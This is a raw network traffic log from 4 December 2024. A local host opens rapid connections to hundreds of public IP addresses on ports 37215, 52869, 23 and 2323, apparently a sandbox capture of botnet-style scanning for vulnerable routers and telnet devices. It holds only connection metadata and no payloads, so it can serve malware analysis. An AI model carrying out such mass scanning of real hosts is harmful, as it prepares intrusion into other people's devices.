Dec 4, 2024 20:34:31.060204029 CET	60275	37215	192.168.2.14	156.64.97.126
Dec 4, 2024 20:34:31.060213089 CET	60275	37215	192.168.2.14	156.142.202.185
Dec 4, 2024 20:34:31.060214996 CET	60275	37215	192.168.2.14	197.219.190.108
Dec 4, 2024 20:34:31.060231924 CET	60275	37215	192.168.2.14	41.157.17.165
Dec 4, 2024 20:34:31.060231924 CET	60275	37215	192.168.2.14	197.52.183.182
Dec 4, 2024 20:34:31.060231924 CET	60275	37215	192.168.2.14	197.91.24.196
Dec 4, 2024 20:34:31.060237885 CET	60275	37215	192.168.2.14	197.237.25.88
Dec 4, 2024 20:34:31.060237885 CET	60275	37215	192.168.2.14	41.61.247.141
Dec 4, 2024 20:34:31.060249090 CET	60275	37215	192.168.2.14	197.98.51.85
Dec 4, 2024 20:34:31.060249090 CET	60275	37215	192.168.2.14	41.147.11.233
Dec 4, 2024 20:34:31.060255051 CET	60275	37215	192.168.2.14	41.111.246.206
Dec 4, 2024 20:34:31.060256958 CET	60275	37215	192.168.2.14	156.84.252.149
Dec 4, 2024 20:34:31.060259104 CET	60275	37215	192.168.2.14	41.242.211.210
Dec 4, 2024 20:34:31.060269117 CET	60275	37215	192.168.2.14	156.61.134.8
Dec 4, 2024 20:34:31.060271978 CET	60275	37215	192.168.2.14	156.6.60.11
Dec 4, 2024 20:34:31.060286045 CET	60275	37215	192.168.2.14	197.97.34.230
Dec 4, 2024 20:34:31.060288906 CET	60275	37215	192.168.2.14	156.29.229.177
Dec 4, 2024 20:34:31.060291052 CET	60275	37215	192.168.2.14	156.104.161.207
Dec 4, 2024 20:34:31.060291052 CET	60275	37215	192.168.2.14	41.68.25.245
Dec 4, 2024 20:34:31.060292006 CET	60275	37215	192.168.2.14	156.127.209.138
Dec 4, 2024 20:34:31.060307980 CET	60275	37215	192.168.2.14	197.252.61.120
Dec 4, 2024 20:34:31.060307980 CET	60275	37215	192.168.2.14	156.62.110.81
Dec 4, 2024 20:34:31.060314894 CET	60275	37215	192.168.2.14	197.224.73.86
Dec 4, 2024 20:34:31.060314894 CET	60275	37215	192.168.2.14	156.169.85.247
Dec 4, 2024 20:34:31.060324907 CET	60275	37215	192.168.2.14	197.162.73.9
Dec 4, 2024 20:34:31.060324907 CET	60275	37215	192.168.2.14	156.135.19.9
Dec 4, 2024 20:34:31.060329914 CET	60275	37215	192.168.2.14	41.149.61.160
Dec 4, 2024 20:34:31.060329914 CET	60275	37215	192.168.2.14	156.95.76.106
Dec 4, 2024 20:34:31.060329914 CET	60275	37215	192.168.2.14	156.199.63.180
Dec 4, 2024 20:34:31.060329914 CET	60275	37215	192.168.2.14	156.97.162.118
Dec 4, 2024 20:34:31.060333014 CET	60275	37215	192.168.2.14	197.53.174.103
Dec 4, 2024 20:34:31.060338020 CET	60275	37215	192.168.2.14	156.47.32.97
Dec 4, 2024 20:34:31.060353041 CET	60275	37215	192.168.2.14	41.171.155.144
Dec 4, 2024 20:34:31.060353041 CET	60275	37215	192.168.2.14	197.6.166.214
Dec 4, 2024 20:34:31.060354948 CET	60275	37215	192.168.2.14	41.40.107.254
Dec 4, 2024 20:34:31.060354948 CET	60275	37215	192.168.2.14	156.167.7.47
Dec 4, 2024 20:34:31.060354948 CET	60275	37215	192.168.2.14	197.8.142.95
Dec 4, 2024 20:34:31.060357094 CET	60275	37215	192.168.2.14	197.41.221.173
Dec 4, 2024 20:34:31.060357094 CET	60275	37215	192.168.2.14	41.65.40.121
Dec 4, 2024 20:34:31.060359001 CET	60275	37215	192.168.2.14	41.193.12.195
Dec 4, 2024 20:34:31.060360909 CET	60275	37215	192.168.2.14	197.121.35.129
Dec 4, 2024 20:34:31.060373068 CET	60275	37215	192.168.2.14	156.200.79.206
Dec 4, 2024 20:34:31.060374975 CET	60275	37215	192.168.2.14	41.214.145.202
Dec 4, 2024 20:34:31.060380936 CET	60275	37215	192.168.2.14	197.45.30.85
Dec 4, 2024 20:34:31.060381889 CET	60275	37215	192.168.2.14	156.16.250.118
Dec 4, 2024 20:34:31.060380936 CET	60275	37215	192.168.2.14	156.27.136.200
Dec 4, 2024 20:34:31.060389996 CET	60275	37215	192.168.2.14	41.13.222.230
Dec 4, 2024 20:34:31.060393095 CET	60275	37215	192.168.2.14	197.146.200.235
Dec 4, 2024 20:34:31.060400009 CET	60275	37215	192.168.2.14	41.33.28.37
Dec 4, 2024 20:34:31.060405970 CET	60275	37215	192.168.2.14	41.137.28.27
Dec 4, 2024 20:34:31.060415983 CET	60275	37215	192.168.2.14	156.24.34.12
Dec 4, 2024 20:34:31.060417891 CET	60275	37215	192.168.2.14	41.157.160.228
Dec 4, 2024 20:34:31.060417891 CET	60275	37215	192.168.2.14	156.71.106.45
Dec 4, 2024 20:34:31.060424089 CET	60275	37215	192.168.2.14	41.34.62.41
Dec 4, 2024 20:34:31.060431957 CET	60275	37215	192.168.2.14	197.115.96.76
Dec 4, 2024 20:34:31.060437918 CET	60275	37215	192.168.2.14	197.65.69.227
Dec 4, 2024 20:34:31.060439110 CET	60275	37215	192.168.2.14	156.143.117.39
Dec 4, 2024 20:34:31.060442924 CET	60275	37215	192.168.2.14	197.83.100.23
Dec 4, 2024 20:34:31.060442924 CET	60275	37215	192.168.2.14	197.70.20.101
Dec 4, 2024 20:34:31.060452938 CET	60275	37215	192.168.2.14	197.148.223.123
Dec 4, 2024 20:34:31.060462952 CET	60275	37215	192.168.2.14	197.41.231.66
Dec 4, 2024 20:34:31.060462952 CET	60275	37215	192.168.2.14	197.162.211.107
Dec 4, 2024 20:34:31.060470104 CET	60275	37215	192.168.2.14	156.167.251.144
Dec 4, 2024 20:34:31.060478926 CET	60275	37215	192.168.2.14	156.175.179.248
Dec 4, 2024 20:34:31.060480118 CET	60275	37215	192.168.2.14	197.96.226.15
Dec 4, 2024 20:34:31.060482025 CET	60275	37215	192.168.2.14	197.177.137.66
Dec 4, 2024 20:34:31.060492039 CET	60275	37215	192.168.2.14	41.100.30.120
Dec 4, 2024 20:34:31.060498953 CET	60275	37215	192.168.2.14	41.228.228.121
Dec 4, 2024 20:34:31.060499907 CET	60275	37215	192.168.2.14	156.46.5.176
Dec 4, 2024 20:34:31.060503960 CET	60275	37215	192.168.2.14	156.30.2.221
Dec 4, 2024 20:34:31.060523987 CET	60275	37215	192.168.2.14	197.196.227.149
Dec 4, 2024 20:34:31.060524940 CET	60275	37215	192.168.2.14	41.172.153.22
Dec 4, 2024 20:34:31.060524940 CET	60275	37215	192.168.2.14	41.190.126.219
Dec 4, 2024 20:34:31.060528040 CET	60275	37215	192.168.2.14	156.196.122.171
Dec 4, 2024 20:34:31.060524940 CET	60275	37215	192.168.2.14	41.17.111.101
Dec 4, 2024 20:34:31.060524940 CET	60275	37215	192.168.2.14	156.6.97.213
Dec 4, 2024 20:34:31.060524940 CET	60275	37215	192.168.2.14	156.104.56.80
Dec 4, 2024 20:34:31.060539007 CET	60275	37215	192.168.2.14	41.162.8.28
Dec 4, 2024 20:34:31.060539961 CET	60275	37215	192.168.2.14	156.37.83.95
Dec 4, 2024 20:34:31.060540915 CET	60275	37215	192.168.2.14	156.122.255.159
Dec 4, 2024 20:34:31.060542107 CET	60275	37215	192.168.2.14	156.205.14.182
Dec 4, 2024 20:34:31.060542107 CET	60275	37215	192.168.2.14	41.15.45.94
Dec 4, 2024 20:34:31.060549021 CET	60275	37215	192.168.2.14	156.74.43.17
Dec 4, 2024 20:34:31.060560942 CET	60275	37215	192.168.2.14	197.237.118.177
Dec 4, 2024 20:34:31.060565948 CET	60275	37215	192.168.2.14	156.193.138.125
Dec 4, 2024 20:34:31.060570955 CET	60275	37215	192.168.2.14	41.49.89.33
Dec 4, 2024 20:34:31.060578108 CET	60275	37215	192.168.2.14	197.88.103.208
Dec 4, 2024 20:34:31.060578108 CET	60275	37215	192.168.2.14	197.71.251.184
Dec 4, 2024 20:34:31.060583115 CET	60275	37215	192.168.2.14	197.244.171.103
Dec 4, 2024 20:34:31.060595989 CET	60275	37215	192.168.2.14	41.167.173.225
Dec 4, 2024 20:34:31.060601950 CET	60275	37215	192.168.2.14	41.172.247.22
Dec 4, 2024 20:34:31.060605049 CET	60275	37215	192.168.2.14	156.82.61.157
Dec 4, 2024 20:34:31.060612917 CET	60275	37215	192.168.2.14	197.30.189.68
Dec 4, 2024 20:34:31.060615063 CET	60275	37215	192.168.2.14	156.87.9.200
Dec 4, 2024 20:34:31.060615063 CET	60275	37215	192.168.2.14	156.4.130.205
Dec 4, 2024 20:34:31.060615063 CET	60275	37215	192.168.2.14	156.195.46.48
Dec 4, 2024 20:34:31.060615063 CET	60275	37215	192.168.2.14	197.253.12.205
Dec 4, 2024 20:34:31.060620070 CET	60275	37215	192.168.2.14	41.207.49.164
Dec 4, 2024 20:34:31.060620070 CET	60275	37215	192.168.2.14	41.143.212.177
Dec 4, 2024 20:34:31.060622931 CET	60275	37215	192.168.2.14	156.209.163.20
Dec 4, 2024 20:34:31.060622931 CET	60275	37215	192.168.2.14	41.108.89.37
Dec 4, 2024 20:34:31.060622931 CET	60275	37215	192.168.2.14	156.169.55.244
Dec 4, 2024 20:34:31.060625076 CET	60275	37215	192.168.2.14	41.45.174.108
Dec 4, 2024 20:34:31.060625076 CET	60275	37215	192.168.2.14	197.250.221.121
Dec 4, 2024 20:34:31.060631990 CET	60275	37215	192.168.2.14	197.7.7.23
Dec 4, 2024 20:34:31.060632944 CET	60275	37215	192.168.2.14	156.0.210.79
Dec 4, 2024 20:34:31.060633898 CET	60275	37215	192.168.2.14	41.1.232.22
Dec 4, 2024 20:34:31.060636044 CET	60275	37215	192.168.2.14	156.22.202.200
Dec 4, 2024 20:34:31.060638905 CET	60275	37215	192.168.2.14	41.176.25.202
Dec 4, 2024 20:34:31.060642958 CET	60275	37215	192.168.2.14	156.22.236.105
Dec 4, 2024 20:34:31.060642958 CET	60275	37215	192.168.2.14	156.107.85.251
Dec 4, 2024 20:34:31.060642958 CET	60275	37215	192.168.2.14	41.90.21.93
Dec 4, 2024 20:34:31.060645103 CET	60275	37215	192.168.2.14	156.25.30.158
Dec 4, 2024 20:34:31.060652018 CET	60275	37215	192.168.2.14	156.154.110.76
Dec 4, 2024 20:34:31.060652018 CET	60275	37215	192.168.2.14	156.141.14.236
Dec 4, 2024 20:34:31.060666084 CET	60275	37215	192.168.2.14	156.125.98.137
Dec 4, 2024 20:34:31.060667038 CET	60275	37215	192.168.2.14	41.74.160.151
Dec 4, 2024 20:34:31.060667038 CET	60275	37215	192.168.2.14	156.45.94.183
Dec 4, 2024 20:34:31.060677052 CET	60275	37215	192.168.2.14	156.241.97.232
Dec 4, 2024 20:34:31.060678005 CET	60275	37215	192.168.2.14	41.94.152.230
Dec 4, 2024 20:34:31.060679913 CET	60275	37215	192.168.2.14	41.176.74.66
Dec 4, 2024 20:34:31.060683966 CET	60275	37215	192.168.2.14	197.97.238.122
Dec 4, 2024 20:34:31.060687065 CET	60275	37215	192.168.2.14	197.170.164.205
Dec 4, 2024 20:34:31.060702085 CET	60275	37215	192.168.2.14	197.61.61.26
Dec 4, 2024 20:34:31.060702085 CET	60275	37215	192.168.2.14	156.25.175.74
Dec 4, 2024 20:34:31.060714960 CET	60275	37215	192.168.2.14	197.2.218.213
Dec 4, 2024 20:34:31.060714960 CET	60275	37215	192.168.2.14	41.187.221.23
Dec 4, 2024 20:34:31.060714960 CET	60275	37215	192.168.2.14	156.243.247.78
Dec 4, 2024 20:34:31.060715914 CET	60275	37215	192.168.2.14	156.27.44.127
Dec 4, 2024 20:34:31.060715914 CET	60275	37215	192.168.2.14	197.35.66.233
Dec 4, 2024 20:34:31.060719967 CET	60275	37215	192.168.2.14	156.121.92.57
Dec 4, 2024 20:34:31.060719967 CET	60275	37215	192.168.2.14	156.8.91.236
Dec 4, 2024 20:34:31.060724020 CET	60275	37215	192.168.2.14	156.239.40.97
Dec 4, 2024 20:34:31.060724974 CET	60275	37215	192.168.2.14	41.119.197.251
Dec 4, 2024 20:34:31.060724974 CET	60275	37215	192.168.2.14	197.94.221.151
Dec 4, 2024 20:34:31.060728073 CET	60275	37215	192.168.2.14	197.23.192.56
Dec 4, 2024 20:34:31.060731888 CET	60275	37215	192.168.2.14	156.38.1.68
Dec 4, 2024 20:34:31.060734987 CET	60275	37215	192.168.2.14	156.209.84.87
Dec 4, 2024 20:34:31.060739040 CET	60275	37215	192.168.2.14	197.245.21.92
Dec 4, 2024 20:34:31.060744047 CET	60275	37215	192.168.2.14	197.107.242.203
Dec 4, 2024 20:34:31.060753107 CET	60275	37215	192.168.2.14	197.144.173.109
Dec 4, 2024 20:34:31.060758114 CET	60275	37215	192.168.2.14	197.160.13.255
Dec 4, 2024 20:34:31.060758114 CET	60275	37215	192.168.2.14	41.37.219.111
Dec 4, 2024 20:34:31.060771942 CET	60275	37215	192.168.2.14	41.17.203.181
Dec 4, 2024 20:34:31.060777903 CET	60275	37215	192.168.2.14	41.115.129.199
Dec 4, 2024 20:34:31.060780048 CET	60275	37215	192.168.2.14	156.240.245.210
Dec 4, 2024 20:34:31.060785055 CET	60275	37215	192.168.2.14	197.148.125.240
Dec 4, 2024 20:34:31.060801029 CET	60275	37215	192.168.2.14	41.33.178.2
Dec 4, 2024 20:34:31.060806990 CET	60275	37215	192.168.2.14	156.7.255.207
Dec 4, 2024 20:34:31.060806990 CET	60275	37215	192.168.2.14	156.118.147.252
Dec 4, 2024 20:34:31.060807943 CET	60275	37215	192.168.2.14	156.11.105.213
Dec 4, 2024 20:34:31.060807943 CET	60275	37215	192.168.2.14	197.137.182.134
Dec 4, 2024 20:34:31.060808897 CET	60275	37215	192.168.2.14	41.108.251.74
Dec 4, 2024 20:34:31.060815096 CET	60275	37215	192.168.2.14	156.68.221.214
Dec 4, 2024 20:34:31.060815096 CET	60275	37215	192.168.2.14	156.51.211.204
Dec 4, 2024 20:34:31.060815096 CET	60275	37215	192.168.2.14	41.85.250.16
Dec 4, 2024 20:34:31.060928106 CET	56268	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:31.060929060 CET	42978	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:31.060942888 CET	48904	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:31.060942888 CET	34716	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:31.060954094 CET	47004	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:31.060956001 CET	55894	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:31.060964108 CET	39814	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:31.062535048 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:31.062535048 CET	58712	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:31.062535048 CET	60592	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:31.062536001 CET	49086	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:31.062535048 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:31.062536001 CET	58524	37215	192.168.2.14	197.81.80.221
Dec 4, 2024 20:34:31.062539101 CET	58694	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:31.062539101 CET	33700	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:31.062542915 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:31.062546968 CET	34912	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:31.062556982 CET	38160	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:31.062556982 CET	60050	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:31.062556982 CET	38004	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:31.062570095 CET	42226	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:31.062576056 CET	44604	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:31.062578917 CET	34632	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:31.062581062 CET	39004	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:31.062582970 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:31.062583923 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:31.062586069 CET	34472	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:31.062597036 CET	39554	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:31.062603951 CET	44778	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:31.062607050 CET	35756	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:31.062607050 CET	37564	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:31.062609911 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:31.062618017 CET	57698	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:31.062618971 CET	50718	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:31.091645002 CET	37215	36022	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:31.091655016 CET	37215	33650	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:31.091691971 CET	36022	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:31.091703892 CET	33650	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:31.091726065 CET	36022	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:31.091728926 CET	33650	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:31.097044945 CET	52869	60019	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.097053051 CET	52869	60019	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.097088099 CET	60019	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.097088099 CET	60019	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.104975939 CET	23	35278	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:31.121907949 CET	52869	42220	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.121956110 CET	37215	37826	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:31.121984005 CET	42220	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.121989965 CET	37826	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:31.122014999 CET	37826	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:31.122592926 CET	46616	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.123213053 CET	47776	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.123605967 CET	42220	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.123605967 CET	42220	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.123876095 CET	42332	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.183384895 CET	37215	60275	197.255.15.13	192.168.2.14
Dec 4, 2024 20:34:31.183443069 CET	37215	60275	197.196.253.237	192.168.2.14
Dec 4, 2024 20:34:31.183453083 CET	37215	60275	41.192.132.220	192.168.2.14
Dec 4, 2024 20:34:31.183454037 CET	60275	37215	192.168.2.14	197.255.15.13
Dec 4, 2024 20:34:31.183490992 CET	37215	60275	41.94.156.53	192.168.2.14
Dec 4, 2024 20:34:31.183501959 CET	37215	60275	156.142.202.185	192.168.2.14
Dec 4, 2024 20:34:31.183512926 CET	37215	60275	197.219.190.108	192.168.2.14
Dec 4, 2024 20:34:31.183537006 CET	37215	42978	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:31.183645010 CET	37215	35134	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:31.183660984 CET	60275	37215	192.168.2.14	156.142.202.185
Dec 4, 2024 20:34:31.183667898 CET	60275	37215	192.168.2.14	197.219.190.108
Dec 4, 2024 20:34:31.183669090 CET	60275	37215	192.168.2.14	41.94.156.53
Dec 4, 2024 20:34:31.183671951 CET	60275	37215	192.168.2.14	41.192.132.220
Dec 4, 2024 20:34:31.183674097 CET	42978	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:31.183675051 CET	60275	37215	192.168.2.14	197.196.253.237
Dec 4, 2024 20:34:31.183686018 CET	35134	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:31.183810949 CET	37215	42978	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:31.183991909 CET	37215	48904	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:31.184031010 CET	48904	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:31.184041977 CET	37215	47004	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:31.184082985 CET	47004	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:31.184262037 CET	37215	56268	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:31.184297085 CET	56268	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:31.184413910 CET	37215	34716	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:31.184449911 CET	34716	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:31.184530973 CET	37215	55894	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:31.184566975 CET	55894	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:31.184724092 CET	37215	39814	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:31.184762001 CET	39814	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:31.215857029 CET	37215	36022	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:31.215867043 CET	37215	33650	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:31.215946913 CET	33650	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:31.215950966 CET	36022	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:31.244102001 CET	52869	46616	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.244163990 CET	46616	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.244169950 CET	37215	37826	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:31.244205952 CET	37826	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:31.244261980 CET	46616	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.244261980 CET	46616	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.244762897 CET	46622	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.244843960 CET	52869	47776	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.244884968 CET	47776	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.245100021 CET	52869	42220	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.245170116 CET	47776	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.245170116 CET	47776	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.245359898 CET	52869	42332	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.245400906 CET	42332	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.245445967 CET	47782	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.245820045 CET	42332	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.286744118 CET	52869	42220	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.363902092 CET	52869	46616	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.364171982 CET	52869	46616	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.364451885 CET	52869	46622	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.364624023 CET	46622	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.364624023 CET	46622	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.364840031 CET	52869	47776	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.364886999 CET	47776	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.364928007 CET	52869	47776	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.365073919 CET	52869	47776	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.365186930 CET	52869	47782	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.365235090 CET	47782	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.365243912 CET	47782	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.365443945 CET	52869	42332	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.365479946 CET	42332	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:31.365533113 CET	52869	42332	197.245.120.181	192.168.2.14
Dec 4, 2024 20:34:31.484605074 CET	52869	47776	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.484749079 CET	52869	46622	197.228.48.70	192.168.2.14
Dec 4, 2024 20:34:31.484807968 CET	46622	52869	192.168.2.14	197.228.48.70
Dec 4, 2024 20:34:31.485713005 CET	52869	47782	41.3.2.109	192.168.2.14
Dec 4, 2024 20:34:31.485754013 CET	47782	52869	192.168.2.14	41.3.2.109
Dec 4, 2024 20:34:31.798547029 CET	59714	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:31.798552990 CET	44294	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:31.798557997 CET	35360	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:31.798562050 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:31.798563957 CET	46786	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:31.798563957 CET	56854	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:31.798566103 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:31.798568964 CET	37874	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:31.798568964 CET	41486	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:31.798572063 CET	51966	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:31.830527067 CET	46178	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:31.830528975 CET	43684	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:31.830538034 CET	57490	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:31.830538034 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:31.830539942 CET	46272	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:31.830549955 CET	41532	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:31.830549955 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:31.830557108 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:31.830565929 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:31.830569029 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:31.830585957 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:31.830585957 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:31.894604921 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:31.894606113 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:31.894606113 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:31.894624949 CET	40164	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:31.894624949 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:31.894629002 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:31.894629002 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:31.894629002 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:31.894634008 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:31.924835920 CET	23	59714	180.100.180.63	192.168.2.14
Dec 4, 2024 20:34:31.924845934 CET	23	44294	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:31.924853086 CET	23	35360	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:31.924995899 CET	23	45758	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:31.925002098 CET	60787	2323	192.168.2.14	13.195.165.84
Dec 4, 2024 20:34:31.925002098 CET	60787	23	192.168.2.14	217.200.213.104
Dec 4, 2024 20:34:31.925002098 CET	59714	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:31.925002098 CET	60787	23	192.168.2.14	191.52.1.82
Dec 4, 2024 20:34:31.925005913 CET	23	49446	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:31.925017118 CET	23	51966	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:31.925017118 CET	60787	23	192.168.2.14	194.136.213.164
Dec 4, 2024 20:34:31.925017118 CET	60787	2323	192.168.2.14	160.0.90.184
Dec 4, 2024 20:34:31.925024986 CET	60787	23	192.168.2.14	66.202.246.138
Dec 4, 2024 20:34:31.925024986 CET	60787	23	192.168.2.14	67.167.58.48
Dec 4, 2024 20:34:31.925024986 CET	60787	23	192.168.2.14	169.20.234.82
Dec 4, 2024 20:34:31.925026894 CET	23	46786	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:31.925026894 CET	44294	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:31.925029039 CET	60787	23	192.168.2.14	186.10.130.162
Dec 4, 2024 20:34:31.925029039 CET	60787	23	192.168.2.14	31.81.115.60
Dec 4, 2024 20:34:31.925026894 CET	60787	23	192.168.2.14	101.184.84.206
Dec 4, 2024 20:34:31.925026894 CET	60787	23	192.168.2.14	31.30.204.153
Dec 4, 2024 20:34:31.925030947 CET	60787	23	192.168.2.14	163.50.205.230
